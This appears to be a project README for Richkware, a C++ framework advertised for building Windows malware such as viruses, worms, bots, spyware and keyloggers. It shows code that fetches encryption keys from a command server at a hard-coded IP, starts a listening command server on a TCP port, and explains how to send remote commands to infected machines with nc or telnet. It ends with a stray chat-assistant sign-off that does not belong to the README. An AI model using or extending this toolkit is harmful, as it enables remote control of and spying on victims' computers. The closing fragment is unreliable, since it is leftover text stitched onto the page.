Skip to the content.

Richkware

Build status Codacy Badge

Richkware is a framework for building Windows malware, written in C++. It provides a library of network and system functions for creating different types of malware, including viruses, worms, bots, spyware, keyloggers, and scareware.

Description

The Richkware framework includes a set of modules and functions that enable you to create malware with various capabilities. These include network communication, system manipulation, cryptography, and more.

Types of Malware Supported:

Diagram

Documentation

  EN IT
Presentation PDF PDF
Report PDF PDF

Functions

Network

System

Cryptography

Cryptography Diagram

Other Functions

Requirements

To build and use Richkware, you will need:

Getting Started

With Richkware-Manager-Server (RMS)

If you have deployed RMS, initialize the malware as follows:

int main() {
    Richkware richkware("Richk", "DefaultPassword", "192.168.99.100", "8080", "associatedUser");
    ...
    return 0;
}

This will retrieve a secure key from RMS and use it for encryption. DefaultPassword is used as a fallback encryption key if the malware cannot reach the RMS.

Without Richkware-Manager-Server

If you have not deployed RMS, you can use:

Richkware richkware("Richk", "richktest");

This will use richktest as the encryption key.

Compile

Using MinGW (for Windows or cross-compiling for Linux)

make

Using Microsoft C++ Compiler (Visual Studio)

Example Usage

Server-side: Starting the Server

In your main program, call the StartServer function to start the server. The following example uses TCP port 8000:

int main () {
    ...
    richkware.network.server.Start("8000");
    ...
}

Client-side: Connecting to the Server

Using Richkware-Manager-Client:

If you are using Richkware-Manager-Client, you can connect to the server and send commands.

Using Terminal on Unix Systems:

On Unix-based systems, use netcat (nc):

nc <serverName> 8000

If the server is running and accessible, it will respond, and you can send commands like:

[[1]]COMMAND

Using Terminal on Windows:

On Windows, use telnet:

telnet <serverName> 8000

Once connected, send a command like:

[[1]]COMMAND

This updated README improves the clarity and structure of the original document, making it easier to follow and understand. If you have any further requests or changes you’d like to make, feel free to let me know!